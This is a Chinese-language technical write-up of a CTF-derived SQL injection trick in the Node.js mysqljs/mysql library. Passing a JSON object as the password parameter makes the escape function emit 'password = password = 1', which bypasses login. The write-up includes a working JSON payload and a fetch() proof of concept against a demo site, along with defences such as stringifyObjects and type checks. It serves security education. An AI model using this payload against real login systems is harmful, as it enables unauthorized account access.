Mysqljs的一个小trick
字数 1137 2025-08-20 18:17:53

MySQLjs 中的 SQL 注入技巧分析

前言

本文分析在 Node.js 生态中广泛使用的 mysqljs/mysql 包中发现的一种利用转义函数进行 SQL 注入的技术。这种技术在 Blackhat MEA CTF 2024 中出现过,展示了如何绕过常见的过滤函数实现 SQL 注入,特别是在"万能密码"场景中的应用。

技术背景

在 mysqljs/mysql 中,开发者通常使用以下方法来防止 SQL 注入:

  • connect.escape()
  • mysql.escape()
  • pool.escape()
  • 使用 ? 作为占位符的预处理语句

漏洞原理

转义函数的特性

mysqljs 的转义函数对不同数据类型的处理方式不同:

SqlString.escape = function escape(val, stringifyObjects, timeZone) {
  if (val === undefined || val === null) {
    return 'NULL';
  }
  switch (typeof val) {
    case 'boolean': return (val) ? 'true' : 'false';
    case 'number': return val + '';
    case 'object':
      if (val instanceof Date) {
        return SqlString.dateToString(val, timeZone || 'local');
      } else if (Array.isArray(val)) {
        return SqlString.arrayToList(val, timeZone);
      } else if (Buffer.isBuffer(val)) {
        return SqlString.bufferToString(val);
      } else if (typeof val.toSqlString === 'function') {
        return String(val.toSqlString());
      } else if (stringifyObjects) {
        return escapeString(val.toString());
      } else {
        return SqlString.objectToValues(val, timeZone);
      }
    default: return escapeString(val);
  }
};

关键点在于对对象的处理:当传入一个对象时,如果没有设置 stringifyObjects 选项,会调用 objectToValues 方法,将对象转换为 key = 'val' 的形式。

漏洞利用

考虑以下登录代码:

app.post("/auth", function(request, respond) {
  var username = request.body.username;
  var password = request.body.password;
  if (username && password) {
    connection.query(
      "SELECT * FROM accounts WHERE username = ? AND password = ?",
      [username, password],
      function(error, result, field) {
        // ...
      }
    );
  }
});

看起来使用了预处理语句,应该是安全的。但是,如果 Express 的 body-parser 允许 JSON 输入,攻击者可以构造一个特殊的 payload:

{
  "username": "admin",
  "password": {
    "password": 1
  }
}

当这个对象被传递给 mysqljs 的转义函数时,会生成类似 password = password = 1 的 SQL 片段,最终形成:

SELECT * FROM accounts WHERE username = 'admin' AND password = password = 1

这在 MySQL 中会被解释为比较操作,如果 password 列的值等于 password 变量的值(即 1),则条件成立,实现"万能密码"的效果。

漏洞复现

环境搭建

使用以下漏洞演示项目:
https://github.com/stypr/vulnerable-nodejs-express-mysql

攻击步骤

  1. 构造恶意请求:
data = {
  username: "admin",
  password: {
    password: 1,
  },
};

fetch("https://sqli.blog-demo.flatt.training/auth", {
  headers: {
    "content-type": "application/json",
  },
  body: JSON.stringify(data),
  method: "POST",
  mode: "cors",
  credentials: "include",
})
  .then((r) => r.text())
  .then((r) => {
    console.log(r);
  });
  1. 观察响应,成功绕过认证

深入分析

数据类型测试

测试不同数据类型对 SQL 语句的影响:

var password_list = [
  12341234, // Numbers
  true, // Booleans
  new Date("December 17, 1995 03:24:00"), // Date
  new String("test_password_string"), // String Object
  "test_password_string", // String
  ["array_test_1", "array_test_2"], // Array
  [["a", "b"], ["c", "d"]], // Nested Array
  { obj_key_1: "obj_val_1" }, // Object
  undefined,
  null,
];

关键发现:对象类型会被转换为 key = 'val' 形式,这是漏洞利用的关键。

防御措施

方案一:启用 stringifyObjects

在创建连接时设置 stringifyObjects: true

var connection = mysql.createConnection({
  host: "db",
  user: "login",
  password: "login",
  database: "login",
  stringifyObjects: true,
});

方案二:输入类型检查

在接收参数时检查数据类型:

app.post("/auth", function(request, response) {
  var username = request.body.username;
  var password = request.body.password;
  
  // 拒绝非字符串类型的输入
  if (typeof username != "string" || typeof password != "string") {
    response.send("Invalid parameters!");
    response.end();
    return;
  }
  
  if (username && password) {
    connection.query(
      "SELECT * FROM accounts WHERE username = ? AND password = ?",
      [username, password],
      function(error, results, fields) {
        // ...
      }
    );
  }
});

总结

这种 SQL 注入技术利用了 mysqljs 对对象类型的特殊处理方式,通过构造特定的对象绕过预处理语句的保护。它展示了几个重要的安全原则:

  1. 即使使用了预处理语句,也需要关注库的具体实现
  2. 输入验证应该包括类型检查
  3. 了解依赖库的安全配置选项非常重要

这种技术在实际渗透测试中可能被忽视,因为常规的 SQL 注入字典中通常不包含这类 payload。开发者和安全研究人员都应该关注这类非传统的攻击向量。

MySQLjs 中的 SQL 注入技巧分析 前言 本文分析在 Node.js 生态中广泛使用的 mysqljs/mysql 包中发现的一种利用转义函数进行 SQL 注入的技术。这种技术在 Blackhat MEA CTF 2024 中出现过,展示了如何绕过常见的过滤函数实现 SQL 注入,特别是在"万能密码"场景中的应用。 技术背景 在 mysqljs/mysql 中,开发者通常使用以下方法来防止 SQL 注入: connect.escape() mysql.escape() pool.escape() 使用 ? 作为占位符的预处理语句 漏洞原理 转义函数的特性 mysqljs 的转义函数对不同数据类型的处理方式不同: 关键点在于对对象的处理:当传入一个对象时,如果没有设置 stringifyObjects 选项,会调用 objectToValues 方法,将对象转换为 key = 'val' 的形式。 漏洞利用 考虑以下登录代码: 看起来使用了预处理语句,应该是安全的。但是,如果 Express 的 body-parser 允许 JSON 输入,攻击者可以构造一个特殊的 payload: 当这个对象被传递给 mysqljs 的转义函数时,会生成类似 password = password = 1 的 SQL 片段,最终形成: 这在 MySQL 中会被解释为比较操作,如果 password 列的值等于 password 变量的值(即 1),则条件成立,实现"万能密码"的效果。 漏洞复现 环境搭建 使用以下漏洞演示项目: https://github.com/stypr/vulnerable-nodejs-express-mysql 攻击步骤 构造恶意请求: 观察响应,成功绕过认证 深入分析 数据类型测试 测试不同数据类型对 SQL 语句的影响: 关键发现:对象类型会被转换为 key = 'val' 形式,这是漏洞利用的关键。 防御措施 方案一:启用 stringifyObjects 在创建连接时设置 stringifyObjects: true : 方案二:输入类型检查 在接收参数时检查数据类型: 总结 这种 SQL 注入技术利用了 mysqljs 对对象类型的特殊处理方式,通过构造特定的对象绕过预处理语句的保护。它展示了几个重要的安全原则: 即使使用了预处理语句,也需要关注库的具体实现 输入验证应该包括类型检查 了解依赖库的安全配置选项非常重要 这种技术在实际渗透测试中可能被忽视,因为常规的 SQL 注入字典中通常不包含这类 payload。开发者和安全研究人员都应该关注这类非传统的攻击向量。